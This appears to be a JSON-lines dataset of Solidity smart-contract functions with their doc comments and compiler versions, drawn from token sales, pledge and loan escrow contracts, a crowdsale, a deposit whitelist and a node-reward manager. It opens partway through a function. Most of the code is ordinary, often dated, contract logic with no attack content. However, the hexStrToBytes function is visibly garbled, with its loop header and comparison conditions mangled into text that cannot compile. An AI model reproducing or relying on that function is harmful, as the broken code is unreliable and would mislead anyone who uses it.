_seasonHasAccount[_season][msg.sender] = true;\r\n }\r\n\r\n _cacheWhitelisted = _VOKEN.whitelisted(msg.sender);\r\n if (_cacheWhitelisted) {\r\n address __account = msg.sender;\r\n for(uint16 i = 0; i < REWARDS_PCT.length; i++) {\r\n address __referee = _VOKEN.whitelistReferee(__account);\r\n\r\n if (__referee != address(0) && __referee != __account && _VOKEN.whitelistReferralsCount(__referee) > i) {\r\n if (!_seasonHasReferral[_season][__referee]) {\r\n _seasonReferrals[_season].push(__referee);\r\n _seasonHasReferral[_season][__referee] = true;\r\n }\r\n\r\n if (!_seasonAccountHasReferral[_season][__referee][__account]) {\r\n _seasonAccountReferrals[_season][__referee].push(__account);\r\n _seasonAccountHasReferral[_season][__referee][__account] = true;\r\n }\r\n\r\n _cacheReferees.push(address(uint160(__referee)));\r\n _cacheRewards.push(REWARDS_PCT[i]);\r\n }\r\n else {\r\n _cachePended = _cachePended.add(REWARDS_PCT[i]);\r\n }\r\n\r\n __account = __referee;\r\n }\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev USD => Voken\r\n */", "function_code": "function _tx(uint256 __usd) private returns (uint256 __voken, uint256 __usdRemain) {\r\n uint256 __stageUsdCap = _stageUsdCap(_stage);\r\n uint256 __usdUsed;\r\n\r\n // in stage\r\n if (_stageUsdSold[_stage].add(__usd) <= __stageUsdCap) {\r\n __usdUsed = __usd;\r\n\r\n (__voken, ) = _calcExchange(__usdUsed);\r\n _mintVokenIssued(__voken);\r\n\r\n // close stage, if stage dollor cap reached\r\n if (__stageUsdCap == _stageUsdSold[_stage]) {\r\n _closeStage();\r\n }\r\n }\r\n\r\n // close stage\r\n else {\r\n __usdUsed = __stageUsdCap.sub(_stageUsdSold[_stage]);\r\n\r\n (__voken, ) = _calcExchange(__usdUsed);\r\n _mintVokenIssued(__voken);\r\n\r\n _closeStage();\r\n\r\n __usdRemain = __usd.sub(__usdUsed);\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev USD => voken & wei, and make records.\r\n */", "function_code": "function _calcExchange(uint256 __usd) private returns (uint256 __voken, uint256 __wei) {\r\n __wei = _usd2wei(__usd);\r\n __voken = _usd2voken(__usd);\r\n\r\n uint256 __weiShareholders = _usd2wei(_2shareholders(__usd));\r\n\r\n // Stage: usd\r\n _stageUsdSold[_stage] = _stageUsdSold[_stage].add(__usd);\r\n\r\n // Season: wei\r\n _seasonWeiSold[_season] = _seasonWeiSold[_season].add(__wei);\r\n\r\n // Season: wei pended\r\n if (_cachePended > 0) {\r\n _seasonWeiPended[_season] = _seasonWeiPended[_season].add(__wei.mul(_cachePended).div(100));\r\n }\r\n\r\n // Season shareholders: wei\r\n _seasonWeiShareholders[_season] = _seasonWeiShareholders[_season].add(__weiShareholders);\r\n\r\n // Cache\r\n _cacheWeiShareholders = _cacheWeiShareholders.add(__weiShareholders);\r\n\r\n // Season => account: wei\r\n _weiSeasonAccountPurchased[_season][msg.sender] = _weiSeasonAccountPurchased[_season][msg.sender].add(__wei);\r\n\r\n // season referral account\r\n if (_cacheWhitelisted) {\r\n for (uint16 i = 0; i < _cacheRewards.length; i++) {\r\n address __referee = _cacheReferees[i];\r\n uint256 __weiReward = __wei.mul(_cacheRewards[i]).div(100);\r\n\r\n // \r\n if (i == 0) {\r\n _accountVokenReferral[__referee] = _accountVokenReferral[__referee].add(__voken);\r\n _vokenSeasonAccountReferral[_season][__referee] = _vokenSeasonAccountReferral[_season][__referee].add(__voken);\r\n }\r\n\r\n // season\r\n _seasonWeiRewarded[_season] = _seasonWeiRewarded[_season].add(__weiReward);\r\n\r\n // season => account\r\n _accountVokenReferrals[__referee] = _accountVokenReferrals[__referee].add(__voken);\r\n _vokenSeasonAccountReferrals[_season][__referee] = _vokenSeasonAccountReferrals[_season][__referee].add(__voken);\r\n _weiSeasonAccountReferrals[_season][__referee] = _weiSeasonAccountReferrals[_season][__referee].add(__wei);\r\n _weiSeasonAccountRewarded[_season][__referee] = _weiSeasonAccountRewarded[_season][__referee].add(__weiReward);\r\n }\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Mint Voken issued.\r\n */", "function_code": "function _mintVokenIssued(uint256 amount) private {\r\n // Global\r\n _vokenIssued = _vokenIssued.add(amount);\r\n _vokenIssuedTxs = _vokenIssuedTxs.add(1);\r\n\r\n // Account\r\n _accountVokenIssued[msg.sender] = _accountVokenIssued[msg.sender].add(amount);\r\n\r\n // Stage\r\n _stageVokenIssued[_stage] = _stageVokenIssued[_stage].add(amount);\r\n\r\n // Season\r\n _seasonVokenIssued[_season] = _seasonVokenIssued[_season].add(amount);\r\n _vokenSeasonAccountIssued[_season][msg.sender] = _vokenSeasonAccountIssued[_season][msg.sender].add(amount);\r\n\r\n // Mint\r\n assert(_VOKEN.mint(msg.sender, amount));\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Mint Voken bonus.\r\n */", "function_code": "function _mintVokenBonus(uint256 amount) private {\r\n // Global\r\n _vokenBonus = _vokenBonus.add(amount);\r\n _vokenBonusTxs = _vokenBonusTxs.add(1);\r\n\r\n // Account\r\n _accountVokenBonus[msg.sender] = _accountVokenBonus[msg.sender].add(amount);\r\n\r\n // Stage\r\n _stageVokenBonus[_stage] = _stageVokenBonus[_stage].add(amount);\r\n\r\n // Season\r\n _seasonVokenBonus[_season] = _seasonVokenBonus[_season].add(amount);\r\n _vokenSeasonAccountBonus[_season][msg.sender] = _vokenSeasonAccountBonus[_season][msg.sender].add(amount);\r\n\r\n // Mint with allocation\r\n Allocations.Allocation memory __allocation;\r\n __allocation.amount = amount;\r\n __allocation.timestamp = now;\r\n _allocations[msg.sender].push(__allocation);\r\n assert(_VOKEN.mintWithAllocation(msg.sender, amount, address(this)));\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Complete an order combination and issue the loan to the borrower.\r\n * @param _taker address of investor.\r\n * @param _toTime order repayment due date.\r\n * @param _repaymentSum total amount of money that the borrower ultimately needs to return.\r\n */", "function_code": "function takerOrder(address _taker, uint32 _toTime, uint256 _repaymentSum) public onlyOwnerOrPartner {\r\n require(_taker != address(0) && _toTime > 0 && now <= _toTime && _repaymentSum > 0 && status == StatusChoices.NO_LOAN);\r\n taker = _taker;\r\n toTime = _toTime;\r\n repaymentSum = _repaymentSum;\r\n\r\n // Transfer the token provided by the investor to the borrower's address\r\n if (loanTokenName.stringCompare(TOKEN_ETH)) {\r\n require(ethAmount[_taker] > 0 && address(this).balance > 0);\r\n outLoanSum = address(this).balance;\r\n maker.transfer(outLoanSum);\r\n } else {\r\n require(token20 != address(0) && ERC20(token20).balanceOf(address(this)) > 0);\r\n outLoanSum = ERC20(token20).balanceOf(address(this));\r\n require(safeErc20Transfer(maker, outLoanSum));\r\n }\r\n\r\n // Update contract business execution status.\r\n status = StatusChoices.REPAYMENT_WAITING;\r\n\r\n emit TakerOrder(taker, outLoanSum);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Only the full repayment will execute the contract agreement.\r\n */", "function_code": "function executeOrder() public onlyOwnerOrPartner {\r\n require(now <= toTime && status == StatusChoices.REPAYMENT_WAITING);\r\n // The borrower pays off the loan and performs two-way operation.\r\n if (loanTokenName.stringCompare(TOKEN_ETH)) {\r\n require(ethAmount[maker] >= repaymentSum && address(this).balance >= repaymentSum);\r\n lastRepaymentSum = address(this).balance;\r\n taker.transfer(repaymentSum);\r\n } else {\r\n require(ERC20(token20).balanceOf(address(this)) >= repaymentSum);\r\n lastRepaymentSum = ERC20(token20).balanceOf(address(this));\r\n require(safeErc20Transfer(taker, repaymentSum));\r\n }\r\n\r\n PledgeContract(owner)._conclude();\r\n status = StatusChoices.REPAYMENT_ALL;\r\n emit ExecuteOrder(maker, lastRepaymentSum);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Close position or due repayment operation.\r\n */", "function_code": "function forceCloseOrder() public onlyOwnerOrPartner {\r\n require(status == StatusChoices.REPAYMENT_WAITING);\r\n uint256 transferSum = 0;\r\n\r\n if (now <= toTime) {\r\n status = StatusChoices.CLOSE_POSITION;\r\n } else {\r\n status = StatusChoices.OVERDUE_STOP;\r\n }\r\n\r\n if(loanTokenName.stringCompare(TOKEN_ETH)){\r\n if(ethAmount[maker] > 0 && address(this).balance > 0){\r\n transferSum = address(this).balance;\r\n maker.transfer(transferSum);\r\n }\r\n }else{\r\n if(ERC20(token20).balanceOf(address(this)) > 0){\r\n transferSum = ERC20(token20).balanceOf(address(this));\r\n require(safeErc20Transfer(maker, transferSum));\r\n }\r\n }\r\n\r\n // Return pledge token.\r\n PledgeContract(owner)._forceConclude(taker);\r\n emit ForceCloseOrder(toTime, transferSum);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Withdrawal of the token invested by the taker.\r\n * @param _taker address of investor.\r\n * @param _refundSum refundSum number of tokens withdrawn.\r\n */", "function_code": "function withdrawToken(address _taker, uint256 _refundSum) public onlyOwnerOrPartner {\r\n require(status == StatusChoices.NO_LOAN);\r\n require(_taker != address(0) && _refundSum > 0);\r\n if (loanTokenName.stringCompare(TOKEN_ETH)) {\r\n require(address(this).balance >= _refundSum && ethAmount[_taker] >= _refundSum);\r\n _taker.transfer(_refundSum);\r\n ethAmount[_taker] = ethAmount[_taker].sub(_refundSum);\r\n } else {\r\n require(ERC20(token20).balanceOf(address(this)) >= _refundSum);\r\n require(safeErc20Transfer(_taker, _refundSum));\r\n }\r\n emit WithdrawToken(_taker, _refundSum);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Get current contract order status.\r\n */", "function_code": "function getPledgeStatus() public view returns(string pledgeStatus) {\r\n if (status == StatusChoices.NO_LOAN) {\r\n pledgeStatus = \"NO_LOAN\";\r\n } else if (status == StatusChoices.REPAYMENT_WAITING) {\r\n pledgeStatus = \"REPAYMENT_WAITING\";\r\n } else if (status == StatusChoices.REPAYMENT_ALL) {\r\n pledgeStatus = \"REPAYMENT_ALL\";\r\n } else if (status == StatusChoices.CLOSE_POSITION) {\r\n pledgeStatus = \"CLOSE_POSITION\";\r\n } else {\r\n pledgeStatus = \"OVERDUE_STOP\";\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Create a pledge subcontract\r\n * @param _pledgeId index number of the pledge contract.\r\n */", "function_code": "function createPledgeContract(uint256 _pledgeId, address _escrowPartner) public onlyPartner returns(bool) {\r\n require(_pledgeId > 0 && !isPledgeId[_pledgeId] && _escrowPartner!=address(0));\r\n\r\n // Give the pledge contract the right to update statistics.\r\n PledgeContract pledgeAddress = new PledgeContract(_pledgeId, address(this),partner);\r\n pledgeAddress.transferOwnership(_escrowPartner);\r\n addOperater(address(pledgeAddress));\r\n\r\n // update pledge contract info\r\n isPledgeId[_pledgeId] = true;\r\n pledgeEscrowById[_pledgeId] = EscrowPledge(pledgeAddress, INIT_TOKEN_NAME);\r\n\r\n emit CreatePledgeContract(_pledgeId, address(pledgeAddress));\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// -----------------------------------------\n// external interface\n// -----------------------------------------", "function_code": "function() external payable {\r\n require(status != StatusChoices.PLEDGE_REFUND);\r\n // Identify the borrower.\r\n if (maker != address(0)) {\r\n require(address(msg.sender) == maker);\r\n }\r\n // Record basic information about the borrower's pledge ETH\r\n verifyEthAccount[msg.sender] = verifyEthAccount[msg.sender].add(msg.value);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Add the pledge information and transfer the pledged token into the corresponding currency pool.\r\n * @param _pledgeTokenName maker pledge token name.\r\n * @param _maker borrower address.\r\n * @param _pledgeSum pledge amount.\r\n * @param _loanTokenName pledge token type.\r\n */", "function_code": "function addRecord(string _pledgeTokenName, address _maker, uint256 _pledgeSum, string _loanTokenName) public onlyOwner {\r\n require(_maker != address(0) && _pledgeSum > 0 && status != StatusChoices.PLEDGE_REFUND);\r\n // Add the pledge information for the first time.\r\n if (status == StatusChoices.NO_PLEDGE_INFO) {\r\n // public data init.\r\n maker = _maker;\r\n pledgeTokenName = _pledgeTokenName;\r\n tokenPoolAddress = checkedTokenPool(pledgeTokenName);\r\n PledgeFactory(factory).updatePledgeType(pledgeId, pledgeTokenName);\r\n // Assign rights to the operation of the contract pool\r\n PledgeFactory(factory).tokenPoolOperater(tokenPoolAddress, address(this));\r\n // Create order management contracts.\r\n createOrderContract(_loanTokenName);\r\n }\r\n // Record information of each pledge.\r\n pledgeAccountSum = pledgeAccountSum.add(_pledgeSum);\r\n PledgePoolBase(tokenPoolAddress).addRecord(maker, pledgeAccountSum, pledgeId, pledgeTokenName);\r\n // Transfer the pledge token to the appropriate token pool.\r\n if (pledgeTokenName.stringCompare(TOKEN_ETH)) {\r\n require(verifyEthAccount[maker] >= _pledgeSum);\r\n tokenPoolAddress.transfer(_pledgeSum);\r\n } else {\r\n token20 = checkedToken(pledgeTokenName);\r\n require(ERC20(token20).balanceOf(address(this)) >= _pledgeSum);\r\n require(safeErc20Transfer(token20,tokenPoolAddress, _pledgeSum));\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Withdraw pledge behavior.\r\n * @param _maker borrower address.\r\n */", "function_code": "function withdrawToken(address _maker) public onlyOwner {\r\n require(status != StatusChoices.PLEDGE_REFUND);\r\n uint256 pledgeSum = 0;\r\n // there are two types of retractions.\r\n if (status == StatusChoices.NO_PLEDGE_INFO) {\r\n pledgeSum = classifySquareUp(_maker);\r\n } else {\r\n status = StatusChoices.PLEDGE_REFUND;\r\n require(PledgePoolBase(tokenPoolAddress).withdrawToken(pledgeId, maker, pledgeAccountSum));\r\n pledgeSum = pledgeAccountSum;\r\n }\r\n emit WithdrawToken(_maker, pledgeTokenName, pledgeSum);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Executed in some extreme unforsee cases, to avoid eth locked.\r\n * @param _tokenName recycle token type.\r\n * @param _amount Number of eth to recycle.\r\n */", "function_code": "function recycle(string _tokenName, uint256 _amount) public onlyOwner {\r\n require(status != StatusChoices.NO_PLEDGE_INFO && _amount>0);\r\n if (_tokenName.stringCompare(TOKEN_ETH)) {\r\n require(address(this).balance >= _amount);\r\n owner.transfer(_amount);\r\n } else {\r\n address token = checkedToken(_tokenName);\r\n require(ERC20(token).balanceOf(address(this)) >= _amount);\r\n require(safeErc20Transfer(token,owner, _amount));\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Create an order process management contract for the match and repayment business.\r\n * @param _loanTokenName expect loan token type.\r\n */", "function_code": "function createOrderContract(string _loanTokenName) internal {\r\n require(bytes(_loanTokenName).length > 0);\r\n status = StatusChoices.PLEDGE_CREATE_MATCHING;\r\n address loanToken20 = checkedToken(_loanTokenName);\r\n OrderManageContract newOrder = new OrderManageContract(_loanTokenName, loanToken20, maker);\r\n setPartner(address(newOrder));\r\n newOrder.setPartner(owner);\r\n // update contract public data.\r\n orderContract = newOrder;\r\n loanTokenName = _loanTokenName;\r\n emit CreateOrderContract(address(newOrder));\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev classification withdraw.\r\n * @dev Execute without changing the current contract data state.\r\n * @param _maker borrower address.\r\n */", "function_code": "function classifySquareUp(address _maker) internal returns(uint256 sum) {\r\n if (pledgeTokenName.stringCompare(TOKEN_ETH)) {\r\n uint256 pledgeSum = verifyEthAccount[_maker];\r\n require(pledgeSum > 0 && address(this).balance >= pledgeSum);\r\n _maker.transfer(pledgeSum);\r\n verifyEthAccount[_maker] = 0;\r\n sum = pledgeSum;\r\n } else {\r\n uint256 balance = ERC20(token20).balanceOf(address(this));\r\n require(balance > 0);\r\n require(safeErc20Transfer(token20,_maker, balance));\r\n sum = balance;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Get current contract order status.\r\n * @return pledgeStatus state indicate.\r\n */", "function_code": "function getPledgeStatus() public view returns(string pledgeStatus) {\r\n if (status == StatusChoices.NO_PLEDGE_INFO) {\r\n pledgeStatus = \"NO_PLEDGE_INFO\";\r\n } else if (status == StatusChoices.PLEDGE_CREATE_MATCHING) {\r\n pledgeStatus = \"PLEDGE_CREATE_MATCHING\";\r\n } else {\r\n pledgeStatus = \"PLEDGE_REFUND\";\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev _preValidateAddRecord, Validation of an incoming AddRecord. Use require statemens to revert state when conditions are not met.\r\n * @param _payerAddress Address performing the pleadge.\r\n * @param _pledgeSum the value to pleadge.\r\n * @param _pledgeId pledge contract index number.\r\n * @param _tokenName pledge token name.\r\n */", "function_code": "function _preValidateAddRecord(address _payerAddress, uint256 _pledgeSum, uint256 _pledgeId, string _tokenName) view internal {\r\n require(_pledgeSum > 0 && _pledgeId > 0\r\n && _payerAddress != address(0)\r\n && bytes(_tokenName).length > 0\r\n && address(msg.sender).isContract()\r\n && PledgeContract(msg.sender).getPledgeId()==_pledgeId\r\n );\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev _preValidateRefund, Validation of an incoming refund. Use require statemens to revert state when conditions are not met.\r\n * @param _pledgeId pledge contract index number.\r\n * @param _targetAddress transfer target address.\r\n * @param _returnSum return token sum.\r\n */", "function_code": "function _preValidateRefund(uint256 _returnSum, address _targetAddress, uint256 _pledgeId) view internal {\r\n require(_returnSum > 0 && _pledgeId > 0\r\n && _targetAddress != address(0)\r\n && address(msg.sender).isContract()\r\n && _returnSum <= escrows[_pledgeId].pledgeSum\r\n && PledgeContract(msg.sender).getPledgeId()==_pledgeId\r\n );\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev _preValidateWithdraw, Withdraw initiated parameter validation.\r\n * @param _pledgeId pledge contract index number.\r\n * @param _maker borrower address.\r\n * @param _num withdraw token sum.\r\n */", "function_code": "function _preValidateWithdraw(address _maker, uint256 _num, uint256 _pledgeId) view internal {\r\n require(_num > 0 && _pledgeId > 0\r\n && _maker != address(0)\r\n && address(msg.sender).isContract()\r\n && _num <= escrows[_pledgeId].pledgeSum\r\n && PledgeContract(msg.sender).getPledgeId()==_pledgeId\r\n );\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Returns the sum of claimable AC from multiple gauges.\n */", "function_code": "function claimable(address _account, address[] memory _gauges) external view returns (uint256) {\n uint256 _total = 0;\n for (uint256 i = 0; i < _gauges.length; i++) {\n _total = _total.add(IGauge(_gauges[i]).claimable(_account));\n }\n\n return _total;\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Constructor for CurrentCrowdsale contract.\r\n * @dev Set the owner who can manage whitelist and token.\r\n * @param _maxcap The maxcap value.\r\n * @param _startPhase1 The phase1 ICO start time.\r\n * @param _startPhase2 The phase2 ICO start time.\r\n * @param _startPhase3 The phase3 ICO start time.\r\n * @param _endOfPhase3 The end time of ICO.\r\n * @param _withdrawalWallet The address to which raised funds will be withdrawn.\r\n * @param _rate exchange rate for ico.\r\n * @param _token address of token used for ico.\r\n * @param _whitelist address of whitelist contract used for ico.\r\n */", "function_code": "function CurrentCrowdsale(\r\n uint256 _maxcap,\r\n uint256 _startPhase1,\r\n uint256 _startPhase2,\r\n uint256 _startPhase3,\r\n uint256 _endOfPhase3,\r\n address _withdrawalWallet,\r\n uint256 _rate,\r\n CurrentToken _token,\r\n Whitelist _whitelist\r\n ) TokenRate(_rate) public\r\n {\r\n require(_withdrawalWallet != address(0));\r\n require(_token != address(0) && _whitelist != address(0));\r\n require(_startPhase1 >= now);\r\n require(_endOfPhase3 > _startPhase3);\r\n require(_maxcap > 0);\r\n\r\n token = _token;\r\n whitelist = _whitelist;\r\n\r\n startPhase1 = _startPhase1;\r\n startPhase2 = _startPhase2;\r\n startPhase3 = _startPhase3;\r\n endOfPhase3 = _endOfPhase3;\r\n\r\n withdrawalWallet = _withdrawalWallet;\r\n\r\n maxcap = _maxcap;\r\n tokensSoldTotal = HARDCAP_TOKENS_PRE_ICO;\r\n weiRaisedTotal = tokensSoldTotal.div(_rate.mul(2));\r\n\r\n pushModifier(RateModifier(200, startPhase1));\r\n pushModifier(RateModifier(150, startPhase2));\r\n pushModifier(RateModifier(100, startPhase3));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Sell tokens during ICO with referral.\r\n */", "function_code": "function sellTokens(address referral) beforeReachingHardCap whenWhitelisted(msg.sender) whenNotPaused internal {\r\n require(isIco());\r\n require(msg.value > 0);\r\n\r\n uint256 weiAmount = msg.value;\r\n uint256 excessiveFunds = 0;\r\n\r\n uint256 plannedWeiTotal = weiRaisedIco.add(weiAmount);\r\n\r\n if (plannedWeiTotal > maxcap) {\r\n excessiveFunds = plannedWeiTotal.sub(maxcap);\r\n weiAmount = maxcap.sub(weiRaisedIco);\r\n }\r\n bool isReferred = referral != address(0);\r\n uint256 tokensForUser = _getTokenAmountForBuyer(weiAmount, isReferred);\r\n uint256 tokensForReferral = _getTokenAmountForReferral(weiAmount, isReferred);\r\n uint256 tokensAmount = tokensForUser.add(tokensForReferral);\r\n\r\n if (tokensAmount > tokensRemainingIco) {\r\n uint256 weiToAccept = _getWeiValueOfTokens(tokensRemainingIco, isReferred);\r\n tokensForReferral = _getTokenAmountForReferral(weiToAccept, isReferred);\r\n tokensForUser = tokensRemainingIco.sub(tokensForReferral);\r\n excessiveFunds = excessiveFunds.add(weiAmount.sub(weiToAccept));\r\n\r\n tokensAmount = tokensRemainingIco;\r\n weiAmount = weiToAccept;\r\n }\r\n\r\n tokensSoldIco = tokensSoldIco.add(tokensAmount);\r\n tokensSoldTotal = tokensSoldTotal.add(tokensAmount);\r\n tokensRemainingIco = tokensRemainingIco.sub(tokensAmount);\r\n\r\n weiRaisedIco = weiRaisedIco.add(weiAmount);\r\n weiRaisedTotal = weiRaisedTotal.add(weiAmount);\r\n\r\n token.transfer(msg.sender, tokensForUser);\r\n if (isReferred) {\r\n token.transfer(referral, tokensForReferral);\r\n }\r\n\r\n if (excessiveFunds > 0) {\r\n msg.sender.transfer(excessiveFunds);\r\n }\r\n\r\n withdrawalWallet.transfer(this.balance);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Receives Eth and issue tokens to the sender\r\n */", "function_code": "function () payable atStage(Stages.InProgress) {\r\n hasEnded();\r\n require(purchasingAllowed);\r\n if (msg.value == 0) { return; }\r\n uint256 weiAmount = msg.value;\r\n address investor = msg.sender;\r\n uint256 received = weiAmount.div(10e7);\r\n uint256 tokens = (received).mul(rate);\r\n\r\n if (msg.value >= 10 finney) {\r\n if (now <= startTimestamp.add(firstTimer)){\r\n uint256 firstBonusToken = (tokens.div(100)).mul(firstBonus);\r\n tokens = tokens.add(firstBonusToken);\r\n }\r\n \r\n if (startTimestamp.add(firstTimer) < now && \r\n now <= startTimestamp.add(secondTimer)){\r\n uint256 secondBonusToken = (tokens.div(100)).mul(secondBonus);\r\n tokens = tokens.add(secondBonusToken);\r\n }\r\n }\r\n \r\n sendTokens(msg.sender, tokens);\r\n fuddToken.transfer(investor, tokens);\r\n totalSupplied = (totalSupplied).add(tokens);\r\n \r\n if (totalSupplied >= maxSupply) {\r\n purchasingAllowed = false;\r\n stage = Stages.Ended;\r\n }\r\n }", "version": "0.4.18"} {"comment": "// helper function to input bytes via remix\n// from https://ethereum.stackexchange.com/a/13658/16", "function_code": "function hexStrToBytes(string _hexString) constant returns (bytes) {\r\n //Check hex string is valid\r\n if (bytes(_hexString)[0]!='0' ||\r\n bytes(_hexString)[1]!='x' ||\r\n bytes(_hexString).length%2!=0 ||\r\n bytes(_hexString).length<4) {\r\n throw;\r\n }\r\n\r\n bytes memory bytes_array = new bytes((bytes(_hexString).length-2)/2);\r\n uint len = bytes(_hexString).length;\r\n \r\n for (uint i=2; i=48 &&uint(bytes(_hexString)[i])<=57)\r\n tetrad1=uint(bytes(_hexString)[i])-48;\r\n\r\n //right digit\r\n if (uint(bytes(_hexString)[i+1])>=48 &&uint(bytes(_hexString)[i+1])<=57)\r\n tetrad2=uint(bytes(_hexString)[i+1])-48;\r\n\r\n //left A->F\r\n if (uint(bytes(_hexString)[i])>=65 &&uint(bytes(_hexString)[i])<=70)\r\n tetrad1=uint(bytes(_hexString)[i])-65+10;\r\n\r\n //right A->F\r\n if (uint(bytes(_hexString)[i+1])>=65 &&uint(bytes(_hexString)[i+1])<=70)\r\n tetrad2=uint(bytes(_hexString)[i+1])-65+10;\r\n\r\n //left a->f\r\n if (uint(bytes(_hexString)[i])>=97 &&uint(bytes(_hexString)[i])<=102)\r\n tetrad1=uint(bytes(_hexString)[i])-97+10;\r\n\r\n //right a->f\r\n if (uint(bytes(_hexString)[i+1])>=97 &&uint(bytes(_hexString)[i+1])<=102)\r\n tetrad2=uint(bytes(_hexString)[i+1])-97+10;\r\n\r\n //Check all symbols are allowed\r\n if (tetrad1==16 || tetrad2==16)\r\n throw;\r\n\r\n bytes_array[i/2-1]=byte(16*tetrad1 + tetrad2);\r\n }\r\n\r\n return bytes_array;\r\n }", "version": "0.4.11"} {"comment": "// ################### FALLBACK FUNCTION ###################\n// implements the deposit and refund actions.", "function_code": "function () payable public {\r\n if(msg.value > 0) {\r\n require(state == States.Open || state == States.Locked);\r\n if(requireWhitelistingBeforeDeposit) {\r\n require(whitelist[msg.sender] == true, \"not whitelisted\");\r\n }\r\n tryDeposit();\r\n } else {\r\n tryRefund();\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Since whitelisting can occur asynchronously, an account to be whitelisted may already have deposited Ether.\n// In this case the deposit is converted form alien to accepted.\n// Since the deposit logic depends on the whitelisting status and since transactions are processed sequentially,\n// it's ensured that at any time an account can have either (XOR) no or alien or accepted deposits and that\n// the whitelisting status corresponds to the deposit status (not_whitelisted <-> alien | whitelisted <-> accepted).\n// This function is idempotent.", "function_code": "function addToWhitelist(address _addr) public onlyWhitelistControl {\r\n if(whitelist[_addr] != true) {\r\n // if address has alien deposit: convert it to accepted\r\n if(alienDeposits[_addr] > 0) {\r\n cumAcceptedDeposits += alienDeposits[_addr];\r\n acceptedDeposits[_addr] += alienDeposits[_addr];\r\n cumAlienDeposits -= alienDeposits[_addr];\r\n delete alienDeposits[_addr]; // needs to be the last statement in this block!\r\n }\r\n whitelist[_addr] = true;\r\n emit Whitelisted(_addr);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// transfers an alien deposit back to the sender", "function_code": "function refundAlienDeposit(address _addr) public onlyWhitelistControl {\r\n // Note: this implementation requires that alienDeposits has a primitive value type.\r\n // With a complex type, this code would produce a dangling reference.\r\n uint256 withdrawAmount = alienDeposits[_addr];\r\n require(withdrawAmount > 0);\r\n delete alienDeposits[_addr]; // implies setting the value to 0\r\n cumAlienDeposits -= withdrawAmount;\r\n emit Refund(_addr, withdrawAmount);\r\n _addr.transfer(withdrawAmount); // throws on failure\r\n }", "version": "0.4.24"} {"comment": "// ################### INTERNAL FUNCTIONS ###################\n// rule enforcement and book-keeping for incoming deposits", "function_code": "function tryDeposit() internal {\r\n require(cumAcceptedDeposits + msg.value <= maxCumAcceptedDeposits);\r\n if(whitelist[msg.sender] == true) {\r\n require(acceptedDeposits[msg.sender] + msg.value >= minDeposit);\r\n acceptedDeposits[msg.sender] += msg.value;\r\n cumAcceptedDeposits += msg.value;\r\n } else {\r\n require(alienDeposits[msg.sender] + msg.value >= minDeposit);\r\n alienDeposits[msg.sender] += msg.value;\r\n cumAlienDeposits += msg.value;\r\n }\r\n emit Deposit(msg.sender, msg.value);\r\n }", "version": "0.4.24"} {"comment": "// Private methods", "function_code": "function _isNameAvailable(address account, string memory nodeName)\r\n private\r\n view\r\n returns (bool)\r\n {\r\n NodeEntity[] memory nodes = _nodesOfUser[account];\r\n for (uint256 i = 0; i < nodes.length; i++) {\r\n if (keccak256(bytes(nodes[i].name)) == keccak256(bytes(nodeName))) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "// External methods", "function_code": "function upgradeNode(address account, uint256 blocktime) \r\n external\r\n onlyGuard\r\n whenNotPaused\r\n {\r\n require(blocktime > 0, \"NODE: CREATIME must be higher than zero\");\r\n NodeEntity[] storage nodes = _nodesOfUser[account];\r\n require(\r\n nodes.length > 0,\r\n \"CASHOUT ERROR: You don't have nodes to cash-out\"\r\n );\r\n NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);\r\n node.tier += 1;\r\n }", "version": "0.8.7"} {"comment": "// function to unbond NFT ", "function_code": "function unbondNFT(uint256 _creationTime, uint256 _tokenId) external {\r\n address account = _msgSender();\r\n require(_creationTime > 0, \"NODE: CREATIME must be higher than zero\");\r\n NodeEntity[] storage nodes = _nodesOfUser[account];\r\n require(\r\n nodes.length > 0,\r\n \"You don't own any nodes\"\r\n );\r\n NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);\r\n require(node.bondedMols > 0,\"No Molecules Bonded\");\r\n molecules.unbondMolecule(account, _tokenId, node.creationTime);\r\n uint256[3] memory newArray = [uint256(0),0,0];\r\n for (uint256 i = 0 ; i < node.bondedMols; i++) {\r\n if (node.bondedMolecules[i] != _tokenId) {\r\n newArray[i] = node.bondedMolecules[i];\r\n }\r\n }\r\n node.bondedMolecules = newArray;\r\n node.bondedMols -= 1;\r\n emit NodeUnbondedToMolecule(account, _tokenId, _creationTime);\r\n }", "version": "0.8.7"} {"comment": "// User Methods", "function_code": "function changeNodeName(uint256 _creationTime, string memory newName) \r\n public \r\n {\r\n address sender = msg.sender;\r\n require(isNodeOwner(sender), \"NOT NODE OWNER\");\r\n NodeEntity[] storage nodes = _nodesOfUser[sender];\r\n uint256 numberOfNodes = nodes.length;\r\n require(\r\n numberOfNodes > 0,\r\n \"You don't own any nodes.\"\r\n );\r\n NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);\r\n node.name = newName;\r\n }", "version": "0.8.7"} {"comment": 